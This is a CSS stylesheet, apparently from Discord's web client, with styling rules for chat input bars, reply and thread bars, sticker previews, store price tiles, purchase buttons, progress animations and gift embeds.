.fontSize15Padding-2bMrCq { padding-bottom: 12px; padding-top: 12px; }

.fontSize16Padding-3Wk7zP { padding-bottom: 11px; padding-top: 11px; }

.fontSize18Padding-2RUesG { padding-bottom: 9px; padding-top: 9px; }

.fontSize20Padding-18f-TO { padding-bottom: 9px; padding-top: 8px; }

.fontSize24Padding-2Tz8jD { padding-bottom: 6px; padding-top: 5px; }

.stackedAttachedBar-3A2J3X { border-bottom: 1px solid var(--background-secondary-alt); }

.attachedBars-tZDmyV { background: var(--background-secondary); border-top-left-radius: 8px; border-top-right-radius: 8px; }

.theme-brand .inner-MADQqc { background-color: var(--brand-experiment-400); }

.theme-brand .textArea-12jD-V { color: rgba(255, 255, 255, 0.7); }

.theme-brand .textArea-12jD-V::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.3); }

.theme-brand .textArea-12jD-V::placeholder { color: rgba(255, 255, 255, 0.3); }

@-webkit-keyframes pulseIcon-2wem_X { 
  0%, 100% { transform: scale(0.85714); }
  50% { transform: none; }
}

@keyframes pulseIcon-2wem_X { 
  0%, 100% { transform: scale(0.85714); }
  50% { transform: none; }
}

@-webkit-keyframes pulseButton-37U3Qe { 
  0%, 100% { opacity: 0.3; }
  50% { opacity: 1; }
}

@keyframes pulseButton-37U3Qe { 
  0%, 100% { opacity: 0.3; }
  50% { opacity: 1; }
}

@-webkit-keyframes sparkle-326-jL { 
  0% { opacity: 0; transform: rotate(-50deg) scale(0); }
  20% { opacity: 1; transform: rotate(0deg) scale(1); }
  40% { opacity: 0; transform: rotate(50deg) scale(0); }
  100% { opacity: 0; transform: rotate(-50deg) scale(0); }
}

@keyframes sparkle-326-jL { 
  0% { opacity: 0; transform: rotate(-50deg) scale(0); }
  20% { opacity: 1; transform: rotate(0deg) scale(1); }
  40% { opacity: 0; transform: rotate(50deg) scale(0); }
  100% { opacity: 0; transform: rotate(-50deg) scale(0); }
}

.buttonWrapper-1ZmCpA { cursor: pointer; }

.button-3AYNKb { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; color: var(--interactive-normal); }

.button-3AYNKb:hover { color: var(--interactive-hover); }

.button-3AYNKb:active { color: var(--interactive-active); }

.iconMask-2LbcOd { display: block; width: 24px; height: 24px; }

.buttonContent-4lhja2 { position: relative; }

.icon-3D60ES { width: 24px; height: 24px; }

.pulseIcon-2wem_X { animation: 0.6s ease 0s 1 normal none running pulseIcon-2wem_X; }

.pulseButton-37U3Qe .buttonWrapper-1ZmCpA { animation: 0.6s ease 0s 1 normal none running pulseButton-37U3Qe; }

.notificationDot-18QulZ { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); border-radius: 100%; bottom: 0px; height: 7px; right: 0px; transform: translateY(-5%); width: 7px; }

.notificationDot-18QulZ, .sparkleContainer-1FObaU { position: absolute; }

.sparkleStar-jXNPAp { color: hsl(46,calc(var(--saturation-factor, 1)*100%),54.9%); top: -12px; left: 20px; }

.sparklePlus-T4nasU, .sparkleStar-jXNPAp { position: relative; animation: 2.5s ease-in-out 0s infinite normal none running sparkle-326-jL; }

.sparklePlus-T4nasU { opacity: 0; color: var(--brand-experiment); top: 16px; left: -20px; animation-delay: 0.5s; }

.active-23Nm0T .buttonWrapper-1ZmCpA, .buttonWrapper-1ZmCpA:hover { color: var(--interactive-active); }

.stickerPreviews-D1UghN { padding: 10px 0px 10px 16px; }

.stickerPreviewContainer-3QyrFr { position: relative; display: inline-block; }

.stickerPreview-9IJY2j { margin-right: 4px; }

.stickerPreviewDivider-2DeHm0 { margin-left: 16px; }

.closeButton-1iLzZ3 { cursor: pointer; color: var(--interactive-normal); line-height: 0; position: absolute; top: 0px; right: 0px; z-index: 1; }

.closeButton-1iLzZ3:hover { color: var(--interactive-hover); }

.closeIconContainer-2y0XOe { background: var(--channeltextarea-background); border-radius: 100%; }

.closeIcon-2--3zh { width: 16px; height: 16px; }

.bar-m8LgSC { padding: 8px 16px; white-space: nowrap; }

.clipContainer-eeROt0 { overflow: hidden; padding-top: 3px; margin-top: -3px; }

.container-2fRDfG { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.replyBar-1YLQ2F, .threadSuggestionBar-2ufK2Z { background: var(--background-secondary); cursor: pointer; }

.replyBar-1YLQ2F { display: grid; grid-template-columns: 1fr auto; -webkit-box-align: center; align-items: center; border-top-left-radius: 8px; border-top-right-radius: 8px; }

.threadSuggestionBar-2ufK2Z { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; border-top: 1px solid var(--background-modifier-accent); padding-top: 7px; padding-bottom: 7px; box-shadow: 0 3px 0 var(--background-secondary); }

.text-15b_0l { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; margin-left: 16px; }

.replyLabel-27F26o { -webkit-box-flex: 1; flex: 1 1 auto; }

.name-hpTFiv { font-weight: 600; }

.actions-NlfMQc { -webkit-box-flex: 0; flex: 0 0 auto; }

.actions-NlfMQc, .mentionButton-3710-W { display: flex; -webkit-box-align: center; align-items: center; }

.mentionButton-3710-W { cursor: pointer; font-weight: 700; text-transform: uppercase; padding: 8px 12px; }

.mentionIcon-1UYeiz { width: 16px; height: 16px; margin-right: 4px; }

.separator-ju-9xl { width: 1px; height: 20px; background-color: var(--background-modifier-accent); }

.closeButton-37O8QC { -webkit-box-flex: 0; flex: 0 0 auto; cursor: pointer; color: var(--interactive-normal); line-height: 0; padding: 8px 12px; }

.closeButton-37O8QC:hover { color: var(--interactive-hover); }

.closeIcon-HLoKft { width: 16px; height: 16px; }

.createThreadButton-oQpjNC { font-weight: 600; white-space: nowrap; margin-left: 8px; margin-right: 8px; }

.root-2GkXUO { background: var(--background-secondary); border-radius: 4px; padding: 4px; display: flex; max-width: 120px; }

.premium-1XICKa { margin-right: 4px; flex-shrink: 0; width: 18px; height: 18px; }

.characterCount-1cRDo2 { -webkit-box-align: end; align-items: flex-end; bottom: 12px; color: var(--text-normal); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; position: absolute; right: 14px; }

.premiumFlair-ogSJ9V { color: var(--interactive-normal); }

.premiumFlair-ogSJ9V:not(:last-child) { margin-right: 4px; }

.flairContainer-2Txy_E { display: flex; -webkit-box-align: center; align-items: center; height: 24px; }

.upsell-34F9Me { margin-top: 8px; }

.theme-dark .error-1M5Do5 { color: hsl(359,calc(var(--saturation-factor, 1)*83%),67.6%); }

.theme-light .error-1M5Do5 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.toolbar-2bjZV7 { background-color: rgb(24, 25, 28); border-radius: 4px; box-shadow: var(--elevation-high); display: flex; height: 32px; pointer-events: all; position: absolute; }

.toolbar-2bjZV7::before { border-left: 8px solid transparent; border-right: 8px solid transparent; border-top: 8px solid rgb(24, 25, 28); bottom: -8px; content: ""; height: 0px; left: calc(50% - 8px); position: absolute; width: 0px; }

.toolbar-2bjZV7 .button-qqmJ7w:first-of-type { border-top-left-radius: 4px; border-bottom-left-radius: 4px; }

.toolbar-2bjZV7 .button-qqmJ7w:last-of-type { border-top-right-radius: 4px; border-bottom-right-radius: 4px; }

.divider-24xeUg { border-left: 1px solid rgba(255, 255, 255, 0.06); display: inline-block; height: 20px; margin: 6px; }

.button-qqmJ7w { border-radius: 0px; padding: 0px; width: 32px; }

.buttonInner-3shTxu, .icon-KgGMGo { height: 20px; }

.icon-KgGMGo { color: rgb(185, 187, 190); width: 20px; }

.inactive-3i9Q2Q { background-color: transparent; }

.active-2HPddW, .hover-28QbSq:hover { background-color: var(--background-modifier-active); }

.active-2HPddW .icon-KgGMGo, .hover-28QbSq:hover .icon-KgGMGo { color: rgb(255, 255, 255); }

.splashBackground-1zhLFw { position: absolute; inset: 0px; opacity: 0.1; background-size: cover; background-position: center bottom; filter: grayscale(100%); -webkit-mask: radial-gradient(circle at 50% 0px, rgb(0, 0, 0), transparent); background-image: url("https://discord.com/assets/dda3b174d159c95f4531c4384d153edd.png"); }

.modalSize-32pcp4 { max-height: 100%; }

.headerContent-3hty5X { margin-top: 20px; }

.headerContent-3hty5X, .headerHeader-53zx0J { width: 100%; position: relative; }

.applicationName-2QbFHn { margin-left: 20px; font-size: 16px; font-weight: 600; }

.price-1ynJAt { padding: 5px 10px; font-size: 14px; line-height: 1.71; border-radius: 3px; }

.priceSpinner-20g34L { height: 23px; }

.breadcrumbs-S3tCk9, .errorBlock-13Gsgi { margin-top: 20px; }

.errorBlock-13Gsgi { position: relative; }

.confirmContent-3zhou3 { padding: 20px 0px 30px; }

.confirmCloseButton-ear6TV { align-self: flex-end; }

.theme-dark .applicationName-2QbFHn { color: rgb(220, 221, 222); }

.theme-dark .price-1ynJAt { background-color: rgb(79, 84, 92); color: rgb(246, 246, 247); }

.theme-light .applicationName-2QbFHn { color: rgb(54, 57, 63); }

.theme-light .price-1ynJAt { background-color: rgb(79, 84, 92); color: rgb(246, 246, 247); }

.applicationBuyButton-2ZS8jB { display: flex; -webkit-box-align: center; align-items: center; }

.disabledButtonWrapper-oUVnwk { position: relative; }

.disabledButtonOverlay-1JKAkq { position: absolute; inset: 0px; }

.premiumIcon-3ocHPW { margin-right: 4px; }

.playButton-1fMNjH { padding-left: 0px; padding-right: 0px; }

.playButtonContents-1Ww4h5 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-flex: 1; flex-grow: 1; }

.disabledButtonWrapper-3sHPXz { position: relative; }

.disabledButtonOverlay-2A2OvN { position: absolute; inset: 0px; }

.disabledButtonColor-1aUKuC { background-color: rgba(24, 25, 28, 0.5); color: rgba(246, 246, 247, 0.5); opacity: 1; }

.buttonText-2DJbpf { -webkit-box-flex: 1; flex-grow: 1; padding: 2px 16px; }

.dropdownArrowHitbox-X74v7o { display: flex; -webkit-box-align: center; align-items: center; width: 32px; height: 100%; z-index: 2; }

.arrowSeparator-26ZThQ { width: 1px; height: 24px; opacity: 0.2; background-color: currentcolor; }

.dropdownArrow-QYl6LR { -webkit-box-flex: 1; flex: 1 1 0%; width: 24px; height: 24px; opacity: 0.2; transition: opacity 0.2s ease 0s; }

.dropdownArrowHitbox-X74v7o:hover .dropdownArrow-QYl6LR { opacity: 1; }

.progress-2XXRYo { position: relative; overflow: hidden; transform: translateZ(0px); }

.progress-2XXRYo, .progressBar-3u8FBM { width: 100%; }

.animating-3Qqqzp { transition: transform 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; }

.xsmall-3czJwD { height: 4px; }

.small-1CUeBa, .xsmall-3czJwD { border-radius: 3px; }

.small-1CUeBa { height: 6px; }

.large-3EPlRk { height: 8px; border-radius: 4px; }

.indeterminate-1PKP2P { position: absolute; width: auto; top: 0px; }

.indeterminateBar1-1jjKl2 { animation: 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) 0s infinite normal none paused indeterminate1-WkD31A; }

.indeterminateBar1-1jjKl2.animating-3Qqqzp { animation-play-state: running; }

.indeterminateBar2-2MEvKp { animation: 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) 1.15s infinite normal none paused indeterminate2-hcYkmM; }

.indeterminateBar2-2MEvKp.animating-3Qqqzp { animation-play-state: running; }

@-webkit-keyframes indeterminate1-WkD31A { 
  0% { left: -35%; right: 100%; }
  60% { left: 100%; right: -90%; }
  100% { left: 100%; right: -90%; }
}

@keyframes indeterminate1-WkD31A { 
  0% { left: -35%; right: 100%; }
  60% { left: 100%; right: -90%; }
  100% { left: 100%; right: -90%; }
}

@-webkit-keyframes indeterminate2-hcYkmM { 
  0% { left: -200%; right: 100%; }
  60% { left: 107%; right: -8%; }
  100% { left: 107%; right: -8%; }
}

@keyframes indeterminate2-hcYkmM { 
  0% { left: -200%; right: 100%; }
  60% { left: 107%; right: -8%; }
  100% { left: 107%; right: -8%; }
}

.button-1OsvDz { padding: 0px; }

html .progress-GjyFoQ { position: absolute; bottom: 0px; left: 0px; }

.disabledButtonWrapper-1EOaAy { position: relative; }

.disabledButtonOverlay-1vHgFK { position: absolute; inset: 0px; }

.disabledButtonColor-34LjTT { background-color: rgba(24, 25, 28, 0.5); color: var(--header-primary); opacity: 1; }

.row-hM7TSa { display: flex; -webkit-box-align: center; align-items: center; }

.icon-Vhk6dD { margin-right: 4px; width: 20px; height: 20px; }

.salePercentage-TXZz3H { border-radius: 3px; color: rgb(255, 255, 255); background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); padding: 4px 6px; }

.originalAmount-3RtnBh { text-decoration: line-through; }

.directoryTilePrice-kxTe16 { font-size: 16px; font-weight: 500; }

.directoryTilePrice-kxTe16 .originalAmount-3RtnBh, .directoryTilePrice-kxTe16 .salePercentage-TXZz3H { margin-right: 6px; }

.directoryHeroPrice-1_MqzA { font-size: 16px; }

.directoryHeroPrice-1_MqzA .originalAmount-3RtnBh, .directoryHeroPrice-1_MqzA .salePercentage-TXZz3H { margin-right: 6px; }

.directoryHeroPricePremium-tR0nU8 { font-size: 14px; font-weight: 500; flex-wrap: wrap; }

.directoryHeroPricePremium-tR0nU8 .icon-Vhk6dD { width: 24px; height: 24px; flex-shrink: 0; }

.directorySearchPrice-2Spatv { font-size: 14px; line-height: 16px; font-weight: 500; }

.directorySearchPrice-2Spatv .icon-Vhk6dD { width: 16px; height: 16px; }

.directorySearchPrice-2Spatv .originalAmount-3RtnBh, .directorySearchPrice-2Spatv .salePercentage-TXZz3H { margin-right: 6px; }

.listingPrice-2GiDSc { font-size: 32px; line-height: 36px; font-weight: 500; }

.listingPrice-2GiDSc .salePercentage-TXZz3H { color: rgb(255, 255, 255); font-size: 16px; margin-left: 10px; }

.listingPrice-2GiDSc .originalAmount-3RtnBh { font-size: 15px; }

.embedPrice-Xy8zoS { font-size: 16px; font-weight: 500; }

.embedPrice-Xy8zoS .originalAmount-3RtnBh, .embedPrice-Xy8zoS .salePercentage-TXZz3H { margin-right: 6px; }

.theme-dark .directoryHeroPrice-1_MqzA, .theme-dark .directoryHeroPricePremium-tR0nU8 { color: rgb(255, 255, 255); }

.theme-dark .directorySearchPrice-2Spatv { color: rgb(185, 187, 190); }

.theme-dark .listingPrice-2GiDSc { color: rgb(246, 246, 247); }

.theme-dark .originalAmount-3RtnBh { color: rgb(185, 187, 190); }

.theme-dark .embedPrice-Xy8zoS { color: rgb(255, 255, 255); }

.theme-dark .embedPrice-Xy8zoS .salePercentage-TXZz3H { background-color: rgb(47, 49, 54); }

.theme-light .directoryHeroPrice-1_MqzA, .theme-light .directoryHeroPricePremium-tR0nU8 { color: rgb(54, 57, 63); }

.theme-light .directoryHeroPrice-1_MqzA .originalAmount-3RtnBh, .theme-light .directoryHeroPricePremium-tR0nU8 .originalAmount-3RtnBh, .theme-light .directorySearchPrice-2Spatv { color: rgb(114, 118, 125); }

.theme-light .listingPrice-2GiDSc { color: rgb(246, 246, 247); }

.theme-light .originalAmount-3RtnBh { color: rgb(185, 187, 190); }

.theme-light .embedPrice-Xy8zoS { color: rgb(79, 84, 92); }

.theme-light .embedPrice-Xy8zoS .salePercentage-TXZz3H { background-color: rgb(185, 187, 190); }

.OSSection-27GaV2 { display: flex; -webkit-box-pack: end; justify-content: flex-end; }

.purchaseUnitOperatingSystem-cnbJPz { margin-left: 4px; }

.theme-dark .purchaseUnitOperatingSystem-cnbJPz, .theme-light .purchaseUnitOperatingSystem-cnbJPz { color: rgb(79, 84, 92); }

.tag-HanR-9 { padding: 6px 12px; }

.tag-HanR-9::before { content: ""; position: absolute; inset: 0px; background-repeat: no-repeat; background-size: cover; background-position: center top; }

.text-1OO51R { position: relative; font-weight: 600; font-size: 13px; text-transform: uppercase; display: block; }

.theme-dark .text-1OO51R, .theme-light .text-1OO51R { color: rgb(255, 255, 255); }

.theme-dark .tag-HanR-9, .theme-light .tag-HanR-9 { background-image: linear-gradient(90deg,hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%)); }

.theme-dark .tag-HanR-9::before, .theme-light .tag-HanR-9::before { background-image: url("https://discord.com/assets/04a2e1509ad72be575b1529b51ea3977.svg"); }

.tag-1mL0R5 { padding: 6px 12px; }

.tag-1mL0R5::before { background-image: url("https://discord.com/assets/6ad70a75e9c902fa39bcdddbdbd2b3f0.png"); content: ""; position: absolute; inset: 0px; background-repeat: no-repeat; background-size: cover; background-position: 50% center; }

.text-1bqXwz { position: relative; font-weight: 600; font-size: 13px; text-transform: uppercase; display: block; }

.theme-dark .text-1bqXwz, .theme-light .text-1bqXwz { color: rgb(255, 255, 255); }

.centeringContainer-1ssgjB { position: absolute; inset: 0px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; min-height: 126px; }

.titleContainer-15sRy5 { font-size: 20px; color: rgb(255, 255, 255); padding: 8px 10px; text-align: center; box-sizing: border-box; background-image: url("https://discord.com/assets/dda3b174d159c95f4531c4384d153edd.png"); }

.loadingContainer-138F59, .titleContainer-15sRy5 { }

.slideshowWrapper-146cEe { height: 100%; }

.spinner-2okOH9 { position: absolute; inset: 0px; }

.imageLoading-3I2895 { visibility: hidden; }

.splash-3K76bN { object-position: center top; }

.splash-3K76bN, .splashPlaceholder-1ev-9c { position: absolute; inset: 0px; object-fit: cover; width: 100%; vertical-align: middle; }

.splashPlaceholder-1ev-9c { height: 100%; }

.muteContainer-dXWpxM { background: rgba(0, 0, 0, 0.3); border-radius: 50%; width: 24px; height: 24px; margin: 0px 10px 10px 0px; padding: 4px; position: absolute; bottom: 0px; right: 0px; z-index: 2; pointer-events: all; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; transition: opacity 0.4s ease 0s; opacity: 0; }

.muteContainerPlaying-YRMEea { opacity: 1; }

.muteContainerMediaOverlay-DKYQOo { margin: 0px 10px 0px 0px; position: absolute; top: 86px; right: 0px; }

.mute-3sDXC3 { width: 20px; height: 20px; color: rgb(255, 255, 255); }

.theme-dark .loadingContainer-138F59 { background-color: rgba(0, 0, 0, 0.4); }

.theme-light .loadingContainer-138F59 { background-color: rgba(255, 255, 255, 0.4); }

.theme-light .spinnerItem-3RXrSb { background-color: rgb(24, 25, 28); }

.splashContainer-2UflFm { margin: 0px; overflow: hidden; position: relative; pointer-events: none; max-height: 60%; padding-top: 56%; }

.splashContainerHorizontal-10fJqP { max-height: none; padding-top: 0px; height: 100%; -webkit-box-flex: 1; flex: 1 1 0%; }

.priceOs-WkGZC- { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; }

.platform-3suY7a { opacity: 1; transition: opacity 0.4s ease 0s; }

.exclusiveRegular-2w11vc { position: absolute; left: 0px; right: 0px; bottom: 0px; }

.exclusivePlaying-1DynG8 { transition: opacity 0.4s ease 0s; opacity: 0; }

.splashPlaceholder-WP93xz, .splashVideo-2e4_JV { height: 100%; }

.tileBuyButton-2W4Mu- { position: absolute; left: 12px; bottom: 12px; transition: opacity 0.2s ease 0s, transform 0.2s ease 0s, -webkit-transform 0.2s ease 0s; transform: translate3d(0px, 12px, 0px); }

.tileBuyButtonVisible-2QYmxC { transform: translateZ(0px); }

.tileBuyButton-2W4Mu-, .tileBuyButton-2W4Mu-:disabled { opacity: 0; }

.tileBuyButtonVisible-2QYmxC, .tileBuyButtonVisible-2QYmxC:disabled { opacity: 1; }

.tilePrice-dqknBb { transition: opacity 0.2s ease 0s; }

.tilePriceWithVisibleBuyButton-2-P17I { opacity: 0; }

.tileActions-N7Ze1p { display: flex; -webkit-box-align: center; align-items: center; font-weight: 500; }

.actionButton-Weawa8 { margin-right: 8px; }

.metadata-IJDhwB { font-size: 12px; }

.libraryLink-21lIRu { margin-left: 10px; display: flex; -webkit-box-align: center; align-items: center; }

.libraryIcon-17zyHD { margin-right: 6px; }

.invalidPoop-pnUbq7 { margin: 0px; overflow: hidden; position: relative; max-height: 60%; padding-top: 56%; background-repeat: no-repeat; background-position: 50% 50%; }

.invalidPoopHorizontal-3Dfy7T { max-height: none; padding-top: 0px; height: 100%; -webkit-box-flex: 1; flex: 1 1 0%; }

.theme-light .libraryLink-21lIRu, .theme-light .metadata-IJDhwB { color: rgb(114, 118, 125); }

.theme-light .invalidPoop-pnUbq7 { background-color: rgba(116, 127, 141, 0.3); background-image: url("https://discord.com/assets/feaff2557c548146aad83669db695e0b.svg"); }

.theme-dark .libraryLink-21lIRu { color: rgba(255, 255, 255, 0.6); }

.theme-dark .invalidPoop-pnUbq7 { background-color: rgba(79, 84, 92, 0.3); background-image: url("https://discord.com/assets/9a31e0f65d520cc12d7f42374d59a2d1.svg"); }

.theme-dark .metadata-IJDhwB { color: rgb(114, 118, 125); }

.seasonalGiftEmbedWrapper-2G74hR { height: 128px; }

.seasonalGiftEmbedWrapper-2G74hR, .seasonalGiftEmbedWrapperHorizontal-uMsC0k { margin: 0px; overflow: hidden; position: relative; background: linear-gradient(102.85deg, rgb(38, 86, 158) 2.16%, rgb(53, 132, 213) 46.11%, rgb(93, 186, 206) 99.42%) 50% 50%; }

.seasonalGiftEmbedWrapperHorizontal-uMsC0k { height: 100%; -webkit-box-flex: 1; flex: 1 1 0%; }

.snow-3-XGPu { position: absolute; left: 0px; top: 0px; height: 100%; width: 100%; z-index: 0; pointer-events: none; }

.seasonalGiftEmbedBox--4-70Z { position: absolute; height: 110%; right: -8px; bottom: -24px; z-index: 1; }

.headerIcon-3O05X7 { width: 92px; margin-bottom: auto; margin-left: 16px; margin-top: 16px; color: rgb(255, 255, 255); }

.spacing-2P-ODW { margin-bottom: 20px; }

.spacingTop-3Dhr0L { margin-top: 20px; }

.message-2qRu38 { position: relative; border-radius: 3px; overflow: hidden; padding-top: 10px; padding-bottom: 10px; pointer-events: none; }

.theme-dark .message-2qRu38 { background-color: rgb(54, 57, 63); box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-light .message-2qRu38 { background-color: rgb(255, 255, 255); box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.container-2nXavw { -webkit-box-pack: start; justify-content: flex-start; flex-wrap: wrap; }

.bumpBox-1r5p3c, .container-2nXavw { -webkit-box-align: center; align-items: center; display: flex; }

.bumpBox-1r5p3c { flex: 0 0 max-content; background-color: var(--background-secondary); border-radius: 8px; padding: 8px; margin-right: 16px; }

.bumpBox-1r5p3c, .icon-ek0zSM { -webkit-box-flex: 0; }

.icon-ek0zSM { flex: 0 0 16px; color: var(--text-muted); }

.icon-ek0zSM, .publish-10uopb, .tagline-36at0H { margin-right: 8px; }

.hidePermanently-36wWty { cursor: pointer; transition: all 0.2s linear 0s; line-height: 24px; }

.hidePermanently-36wWty:focus, .hidePermanently-36wWty:hover { color: var(--text-normal); }

.closeIcon-tEzaUY { display: block; color: var(--interactive-muted); cursor: pointer; }

.closeIcon-tEzaUY:focus, .closeIcon-tEzaUY:hover { color: var(--interactive-hover); }

.closeIcon-tEzaUY:active { color: var(--interactive-active); }

.icon-3U3Ats { -webkit-box-align: center; align-items: center; color: var(--header-secondary); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-bottom: 16px; margin-top: 32px; }

.guidelines-1yD5nc { margin: 8px 0px; }

.divider-2gQcba { border: 1px solid var(--background-modifier-accent); margin: 24px 0px; }

.previewSection-1h_5aj { margin-bottom: 32px; }

.channelsWrapper-2HhUER, .rolesWrapper-2yOx9S { background-color: var(--background-secondary); border-radius: 8px; }

.protip-cfNVNm { margin-top: 8px; }

.protipText-2wXAoo { color: var(--text-positive); font-weight: 600; text-transform: uppercase; }

.sectionHeader-1U00JR { color: var(--header-primary); font-size: 20px; padding-bottom: 8px; text-align: left; }

.channelsWrapper-2HhUER { padding: 16px; }

.channel-OaJouZ { -webkit-box-align: center; align-items: center; color: var(--channels-default); display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; font-size: 16px; height: 30px; white-space: nowrap; text-overflow: ellipsis; }

.category-3W3XSi { font-size: 12px; font-weight: 700; margin-left: -13px; text-transform: uppercase; }

.category-3W3XSi .channelIcon-2s1R00 { height: 14px; margin-right: 1px; width: 14px; }

.channelIcon-2s1R00 { margin-right: 8px; width: 20px; flex-shrink: 0; }

.channelText-7rGec8 { overflow: hidden; text-overflow: ellipsis; }

.rolesWrapper-2yOx9S { flex-wrap: wrap; padding: 8px; }

.role-3paDXR, .rolesWrapper-2yOx9S { display: flex; }

.role-3paDXR { -webkit-box-align: center; align-items: center; font-size: 12px; font-weight: 500; border: 1px solid; border-radius: 11px; box-sizing: border-box; height: 22px; margin: 0px 4px 4px 0px; padding: 4px; }

.roleCircle-3DE8xJ { border-radius: 50%; width: 12px; height: 12px; margin-right: 4px; }

.roleName-1JcOmP { color: var(--channels-default); max-width: 200px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; margin-right: 4px; }

.modalContainer-1jCQhD, .modalSection-3QXz-E { display: flex; }

.modalSection-3QXz-E { width: 440px; }

.ctaSection-izWwhs { -webkit-box-pack: center; justify-content: center; background: var(--background-secondary); border-top-left-radius: 5px; min-height: 450px; }

.ctaContainer-2Jtgn2 { margin-top: auto; margin-bottom: auto; text-align: center; padding: 32px; }

.formSection-1NFAGI { background: var(--background-primary); border-top-right-radius: 5px; position: relative; }

.formContainer-1VaglF { position: absolute; width: 440px; padding: 0px 16px; height: 100%; }

.modalRoot-LW89o7 { border-radius: 5px; }

.modalRoot-LW89o7 .modalFooter-Xu2eIR { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; background: var(--background-tertiary); }

.header-2Yglm5 { text-align: center; margin-top: 32px; margin-bottom: 24px; }

.icon-26AID4 { color: var(--interactive-normal); margin-right: 8px; }

.wrapper-HoOVbG { height: 158px; width: 660px; border-radius: 4px; background-color: var(--background-tertiary); display: flex; }

.contentWrapper-29Yjaw { padding: 16px; width: 382px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; box-sizing: border-box; }

.bottomWrapper-3oowIn, .contentWrapper-29Yjaw { display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.bottomWrapper-3oowIn { -webkit-box-align: end; align-items: flex-end; }

.header-g8N6gs { font-size: 17px; line-height: 24px; margin-bottom: 8px; }

.mediaWrapper-3fFCSb { height: 100%; width: 246px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; }

.popoutContent-1rAJey { padding: 16px; }

.packName-1Cps_6 { font-size: 16px; line-height: 20px; cursor: pointer; }

.packDescription-3drkLS { color: var(--text-normal); font-size: 14px; line-height: 18px; margin-bottom: 8px; margin-top: 8px; }

.packDescription-3drkLS strong { color: var(--header-primary); }

.stickersList-Q202uA { display: flex; -webkit-box-pack: justify; justify-content: space-between; margin-bottom: 8px; }

.stickerWrapper-16sTV0 { cursor: pointer; }

.packActions-2i3SLO { -webkit-box-align: stretch; align-items: stretch; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-top: 8px; }

.premiumButtonNitroWheel-27R34z { margin-right: 4px; }

.premiumButtonInner-qFK5R7 { -webkit-box-align: center; align-items: center; display: flex; }

.premiumButton-28hSN6 { margin-bottom: 8px; }

.theme-dark .countdownIcon-B3jzQN { color: rgb(251, 184, 72); }

.theme-light .popoutContent-1rAJey, .theme-light .popoutLoader-2HV5kI { background-color: var(--background-floating); box-shadow: var(--elevation-high); }

.theme-light .countdownIcon-B3jzQN { color: rgb(255, 138, 0); }

.nonInteractingSticker-2tXsnD { opacity: 0.5; }

.clickableSticker-3HmpgV { cursor: pointer; }

.stickerName-37a8JB { display: inline-flex; gap: 4px; }

.stickerIcon-2Tdq9J { height: 16px; width: 16px; margin-right: 2px; }

.background-opacity-low .clickableSticker-3HmpgV { opacity: 0.6; }

.background-opacity-medium .clickableSticker-3HmpgV { opacity: 0.7; }

.background-opacity-high .clickableSticker-3HmpgV { opacity: 0.8; }

.label-yoIX58 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; }

.availabilityIndicator-3Ef8mV { margin-left: 44px; }

.menuItem-2Zip2f:not(.focused-1ggPRd) .disabled-3LPEiZ .labelText-1zqwH0 { color: var(--text-muted); }

.modalContent-29Oyi2 { padding: 0px 16px 20px; }

.warningText-366tHC { margin-top: 8px; }

.spine-5jbOmI { border-bottom-left-radius: 8px; border-bottom: 2px solid var(--background-accent); border-left: 2px solid var(--background-accent); bottom: 29px; position: absolute; top: 0px; left: -2.5rem; width: 2.25rem; }

.spine-5jbOmI.systemMessageSpine-3ZKfiO { bottom: 32px; left: -2rem; width: 1.75rem; }

.spine-5jbOmI.cozy-XCy5h_ { display: none; }

.container-3hZ-gs { background-color: var(--background-secondary); border-radius: 4px; cursor: pointer; margin-top: 8px; max-width: 480px; min-width: 0px; padding: 8px; }

.systemMessageContainer-2ddkN3 { margin-top: 0px; }

.topLine-1hV9bl { display: flex; }

.name-1qtoQ5 { color: var(--header-primary); margin-right: 8px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.cta-3MixHV, .name-1qtoQ5 { font-size: 0.875rem; font-weight: 600; line-height: 1.125rem; }

.cta-3MixHV { color: var(--text-link); flex-shrink: 0; }

.container-3hZ-gs:hover .cta-3MixHV { text-decoration: underline; }

.bottomLine-2qB7L6 { -webkit-box-align: center; align-items: center; color: var(--header-secondary); display: flex; margin-top: 2px; white-space: nowrap; }

.bottomLine-2qB7L6, .timestamp-1Kyoes { font-size: 0.875rem; line-height: 1.125rem; }

.timestamp-1Kyoes { color: var(--text-muted); flex-shrink: 0; margin-left: 8px; }

.archivedText-120wQz { font-style: italic; }

